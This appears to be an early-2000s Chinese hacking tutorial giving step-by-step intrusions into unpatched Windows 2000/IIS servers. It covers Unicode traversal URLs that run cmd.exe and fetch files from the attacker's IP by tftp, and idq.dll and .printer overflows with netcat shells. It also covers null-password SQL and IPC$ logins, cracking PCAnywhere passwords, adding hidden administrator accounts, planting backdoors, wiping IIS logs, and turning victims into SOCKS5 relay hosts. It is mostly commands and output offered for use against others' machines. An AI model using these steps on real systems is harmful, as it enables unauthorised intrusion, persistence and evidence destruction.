实战演练阶段
1.Unicode漏洞实战篇(文中所提到的软件均可在黑白网www.521hacker.com下载到。)
还记得我们在第一部分介绍的Unicode漏洞吗?可别告诉你没有什么印象啊!呵呵,我们就先来看看利用Unicode漏洞和tftp来上传文件的方法。也许你会问,什么是tftp呢?简单来说,tftp 就是让你的电脑变成一台服务器,让目标主机来下载你的文件,这样就可以达到上传的目的。在运行tftp32.exe之前,建议关闭其他FTP服务器,保持tftpd运行,这时你的机器已经是一个FTP服务器了。然后,把你要上传的文件,复制到同一目录下。回到你的浏览器,在地址栏里输入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp -i y.y.y.y GET icmd.exe c:\\inetpub\\scripts\\icom.exe
y.y.y.y为你自己的IP,注意:c:\\inetpub\\scripts\\icom.exe,用"\\"隔开。 其中c:\\inetpub\\scripts\\为主机服务器目录,要看主机的具体情况而定,icom.exe为被改名的icmd.exe(名字自己起吧)。然后等待...大概N分钟...IE浏览器左下角显示完成,红色漏斗消失,这时icmd.exe已经上传到主机c:\inetpub\scripts\目录了。您可以自己检查一下。执行icom.exe(icmd.exe),在地址栏输入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\icom.exe,如果有提示,那表示上传成功!
好的,下面我们再来谈谈用利用Unicode漏洞结合Winshell来取得SYSTEM权限的实例。假设目标主机存在Unicode漏洞。还是用tftp来上传winshell.exe,并将其改名成winserver.exe(这样比较隐蔽嘛!),然后在浏览器里输入:
http://xxx.xxx.xxx.xxx/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\winserver.exe
(这时候,浏览器可能像没有响应一样,许久没有反应,但是,这个程序已经启动了,请暂时不要关闭浏览器)
好的,现在我们就可以telnet上去了:telnet xxx.xxx.xxx.xxx 5277 (5277是winshell默认打开的端口)
WinShell v1.0 - '!' to quit, 'enter' to shell...
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\Inetpub\scripts> <----------------------太好了,我们成功了!现在,你已经具有SYSTEM权限了,可以为所欲为咯!像在DOS下一样!
在黑别人主页的时候是不是遇到过找不到WEB文件存放位置的情况?有时候网管为了避免受到攻击,就把WEB文件的存放位置改了。这可苦了我们啊,没关系,只要是它的2K或NT没有打service park(补丁包,简称SP),那么它就存在一个ida漏洞,攻击者利用此漏洞可以得到WEB文件存放的位置。我们在浏览器里输入一个不存在的.ida文件,如:http://xxx.xxx.xxx.xxx/Nature.ida,接着,浏览器就会返回如下的提示:
找不到IDA文件在 D:\Inetpub\wwwroot\Nature.ida
其中,“D:\Inetpub\wwwroot\”就是目标主机存放WEB文件的地方了。呵呵,黑了它吧!
攻击完成之后,我们就要擦PP了,要不被警察叔叔拉去玩,可就不好了,对吧?
用tftp把CleanIISLog.exe传到目标主机上去,再利用winshell telnet 上去,在命令行下执行CleanIISLog.exe就可以了(有关CleanIISLog的用法,请参见程序附带的帮助文档)。PP擦完后走人!
2.idq.dll漏洞实战篇 这次是利用idq.dll漏洞溢出SYSTEM权限。要用到的程序有:Snake IIS IDQ 溢出程序、Netcat(即NC),有关软件的使用方法,详见帮助文档,笔者在此就不都介绍了。
假设我们的目标主机是2K,有无打SP不清楚。我们以GUI(图形界面)版的Snake IIS IDQ 溢出程序为例介绍。
设置:被攻击地址:IP:xxx.xxx.xxx.xxx Port(端口):80
溢出选项:选择“溢出后,在一个端口监听”
监听端口:813
要绑定的命令:cmd.exe /c dir c:\
操作系统类型:IIS5 Chinese Win2k
设置完成之后,点击“IDQ溢出”,完成。程序会提示“发送shellcode 到 xxx.xxx.xxx.xxx :80 OK”。
接着进入MS-DOS方式。以下面的方式运行NC:nc --v xxx.xxx.xxx.xxx 80
C:\>nc -vv xxx.xxx.xxx.xxx 813
xxx.xxx.xxx.xxx: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [xxx.xxx.xxx.xxx] 813 (?): connection refused
sent 0, rcvd 0: NOTSOCK
D:\>
呵呵,没有成功哦,可能是打了SP1吧,那我们就在“操作系统类型”里选“IIS5 Chinaese Win2K SP1”,重复以上步骤。
C:\>nc -vv xxx.xxx.xxx.xxx 813
xxx.xxx.xxx.xxx: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [xxx.xxx.xxx.xxx] 813 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32> <-----------------我们终于成功了!你已经获得SYSTEM权限了,又可以为所欲为了,可不要乱来哦:)
3.IIS.printer漏洞实战篇(用到的程序有:IIS5hack(.printer溢出工具), Netcat(即NC) 。有关IIS5HACK的用法参见帮助。)
关于IIS5HACK程序中部分单词解释:Host:溢出主机的IP地址。HostPort:主机端口。HostType:主机操作系统类型。ShellPort:溢出的端口
现在我们开始吧。假设目标主机为2K系统,且存在IIS.printer漏洞。示例如下:
C:\>iis5hack xxx.xxx.xxx.xxx 80 1 3739
IIS5 remote .printer overflow. writen by sunx
http://www.sunx.org
for test only, dont used to hack, :p
Listn: 80
connecting...
sending...
Now you can telnet to 3739 port
good luck :)
OK!溢出成功!接着用NC连接它的3739端口:
C:\>nc xxx.xxx.xxx.xxx 3739
http://www.sunx.org
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\WINNT\system32> <-------------------------接着键入:whoami查询用户身份:
c:\WINNT\system32>whoami
SYSTEM <-------------------------------------看见了吗?我们成功取得system权限!
3.MSSQL空密码漏洞实战篇(用到的软件:流光FluxayIV)
a.利用SQL空密码添加超级用户
开始吧!运行流光4,按Ctrl+R,出现主机扫描设置,填入IP地址,扫描主机类型选SQL,点确定。一会后,假设我们扫到了一台SQL密码为空的主机,流光会自动将用户加入列表,点击用户名,流光会出现连接的提示,点击即可连接。现在你可以添加一个用户(SYSTEM权限):
net user Nature 123456 /add <-------------------------添加一个名字为Nature,密码为1234567890的用户
net localgroup administrators Nature /add <-----------把你刚才添加的Nature用户加到管理员组里,你也是管理员了哦!~~~~~~
b.SQL空密码结合PCAnyWhere获得目标主机的完全管理权
检查一下目标主机是否开有5631端口,如果有的话,说明目标主机有PCAnyWhere远程管理,如果取得他的帐号和密码,我们不就是可以用PcAnyWhere来远程管理目标主机了吗?!默认情况下,PCAnyWhere安装于c:\Program Files目录下,其data目录下的.cif文件中保存着加密过的帐号和密码。只要得到此文件,就可以用流光自带的PCAnyWhere密码文件解码器来快速解出密码了!用流光扫描该主机,如果有PCAnyWhere文件,那么在流光主机详细列表中就会有主机名了。点击该主机后,流光会有连接提示,点击后即可出现连接对话框。在其中填上你的WEB服务器(可以是免费空间)的ftp地址,用户名和密码,点击确定,过一会,流光会提示上传成功。我们再从我们的个人主页上将那个.cif文件下载下来。然后在流光中按Ctrl+T调出文件选择框,选中那个.cif文件,单击确定,流光的PCAnyWhere密码文件解码器就会很快解出密码!现在打开PCAnyWhere Manager,建立一个指向xxx.xxx.xxx.xxx的通道。在setting项中选择network host pc to control or ip adress, 并添上目标ip:xxx.xxx.xxx.xxx ,选中login information项中的automatically login to host up connection ,并在下面的login name和password栏中填入刚才得到的用户名和密码,确定即可。双击新建立的通道,稍等片刻即可看到了对方桌面。呵呵!又搞定咯!抓抓里面的好东东吧!
4.IPC$共享弱密码漏洞篇(用到的软件:流光FluxayIV,srv.exe、ntlm.exe流光的tools目录下有)
IPC$是Windows的默认共享。我们可以用主机的管理员用户名和密码连接。其实,这个共享并没有什么漏洞。问题就出在管理员密码上了。直至现在为止,世界上起码有20%的人,把主机密码设置为“空”或者“123”等简单密码。而这就是个致命的共享漏洞。我们可以通过猜解管理员的密码,得到目标主机的超级管理员权限, 就可以将目标主机完全控制了!呵呵!是不是很惊讶?来吧,开始入侵!Go Go Go !!!
如果你得到了SQL的管理员密码,你就可以通过IPC$连接到目标主机了。在命令提示符下,使用如下命令:
C:\>net use \\xxx.xxx.xxx.xxx\IPC$ "" /user:"administrator" <---------------------------使用猜解到的管理员登陆到目标主机
命令成功完成。
C:\>copy srv.exe \\xxx.xxx.xxx.xxx\admin$ <---------------------------------------------复制srv.exe到目标主机
已复制1个文件。
C:\>net time \\xxx.xxx.xxx.xxx <--------------------------------------------------------用net time命令查查服务器的本地时间
\\xxx.xxx.xxx.xxx 的当前时间是 2002/2/11 上午 9:30
命令成功完成。
C:\>at \\xxx.xxx.xxx.xxx 9:35 srv.exe <-------------------------用at命令远程启动srv.exe(这里设置的时间要迟于目标主机时间)
新加了一项作业,其作业 ID = 1
过了几分钟后,可以再查查目标主机的时间到了我们设置的时间了没有,如果到了,我们就可以telnet上去了,默认端口是99
C:\>telnet xxx.xxx.xxx.xxx 99
Microsoft Windows 2000 [5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\WINNT\system32 <---------------------------------------------成功了!
C:\>copy ntlm.exe \\xxx.xxx.xxx.xxx\admin$ <----再开一个命令行窗口,把ntlm.exe(修改Windows 2K Telnet身份验证)传到目标主机上
回到刚才开的telnet的窗口
Microsoft Windows 2000 [5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\WINNT\system32\ntlm.exe <------------------------------------启动ntlm吧!
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.
Done! <---------------------------------------------------------好了,成功取消了2000的身份验证!
C:\WINNT\system32\net start telnet <--------------------------------------------用net start命令直接启动telnet服务吧
Telnet 服务正在启动...
Telnet 服务已经启动。
键入exit,切断和目标主机的telnet连接,然后再次telnet到目标主机:
C:\WINNT\system32\telnet xxx.xxx.xxx.xxx <--------------------------------------这次直接连接默认端口23就可以了!
login:administrator
Password: <---------------------------------------------------------------------密码为空的就不打了,呵呵!~~
其实在这样登陆后,为了以后我们还可以重复利用这台主机,我们应当学会给自己留条后路,那就是留后门啦:
C:\>WINNT\system32\copy srv.exe c:\inetpub\scripts <--------------------留个后门
C:\>WINNT\system32\cmd.exe c:\inetpub\scripts\winserver.exe <-----------还留一个,有备无患嘛!
C:\>net user Guest /active:yes <----------------------------------------激活Guest用户
C:\net user Guest 1234567890 <------------------------------------------将Guest的密码改为1234567890,你可以随意设置
C:\>net localgroup administrators Guest /add <--------------------------将Guest加入超级管理员组,你就是administrator了^_^
好了,后门也留够了,这下可以放心了。下次如果管理员的密码改了,只要Guest没有修改,你就可以用Guest来登陆目标主机了!
5.Sock5代理跳板篇(用到的程序:sksockserver.exe,由Snake制作的sock5代理跳板制作工具)
经常有朋友会问起关于Sock5代理的问题,可见大家都对它很感兴趣,所以我觉得还是有必要在这里介绍一下(Sock5代理真的很有用哦)
代理跳板的原理,可以参见以下的示意图:
加密数据 加密数据 普通数据
[]=======[]=======[]=======[]========[]=:::=[]=======[]
工作站 跳板1 跳板2 跳板3 跳板4 跳板N 目标机
好的,开始制作Sock5代理跳板咯!先用IPC$登陆到目标主机上,方法见上文IPC$共享弱密码漏洞篇。然后进入命令提示符状态:
C:\>copy c:\snake\Sksockserver.exe \\xxx.xxx.xxx.xxx\c$\admin$ <----------------将sksockserver.exe拷贝到目标主机
C:\>telnet xxx.xxx.xxx.xxx <------------------------telnet到目标主机上去。如果没开telnet,参见上文打开telnet服务
Microsoft (R) Windows 2000 (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Client
Telnet Client Build 5.00.99203.1
Escape Character is 'CTRL+]'
You are about to send your password information to a remote computer
in Internet zone. This might not be safe. Do you want to send it anyway(y/n):y
NTLM Authentication failed due to insufficient credentials.
Please login with
clear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:administrator
password: ********** <-----------------------------此处输入你得到的管理员的密码
*==========================================================
Microsoft Telnet
*==========================================================
C:\> <---------------------------------------------登陆成功了,现在要安装sksockserver程序了!
C:\>sksockserver.exe <-----------------------------不带任何参数就会显示帮助文档。好好看看吧!
SkServer - is freeware, All Rights Reserved by snake.2001.
Run with paramater below list:
-Install (Install the service)
-Remove (Remove the service)
-Debug 1813 (Run as console program at port 1813)
~ Next are about service registry value setting ~
-config Show [Port/StartType/Client/SkServer] (Show current config)
-config Port [NewPort] (Set/Show SkServer's Port)
-config StartType [1~3] (Set/Show StartType)
( 2-Auto, 3-Manual, 4-Disable)
-config Client [add/del/change] [IP Mask Enable]
(Show/add/del/change Client Set)
-config SkServer [add/del/change] [IP Port Enable]
(Show/add/del/change Pass Skserver Set)
C:\>sksockserver -install <------------------------好的,现在开始安装!
如果你想来个连跳,那么安装后还要做一下设置。先看看默认设置情况:
C:\>sksockserver -config show
SkServer Port = 1080 <-----------------------------开放服务的端口
SkServer StartType: 3 - Manual <-------------------服务启动方式
SkServer Enable Client Set Num:0 <-----------------客户端的项目个数
SkServer Pass SkServer Number:0 <------------------经过SkServer的项目个数
如何设置连跳:
c:> SkSockServer -config client'ip [add/del] === [显示/增加/删除 客户端的项目]
c:> SkSockServer -config SkServer'ip [add/del] === [显示/增加/删除 经过SkServer的项目]
C:\>net start skserver <---------------------------启动服务了!!!!!!!!!!!
C:\>net start <------------------------------------检查是否启动成功!
These Windows 2000 services are started: <---------显示目标主机上所有的已启动的服务
Snake SockProxy Service <--------------------------好的,就是它,已经开始工作了!
Telnet ......
The command completed successfully. <--------------命令成功执行!
C:\> <---------------------------------------------到此,我们的Sock5代理跳板就做好了。不光可以用来当肉鸡用,还可以上QQ呢!
|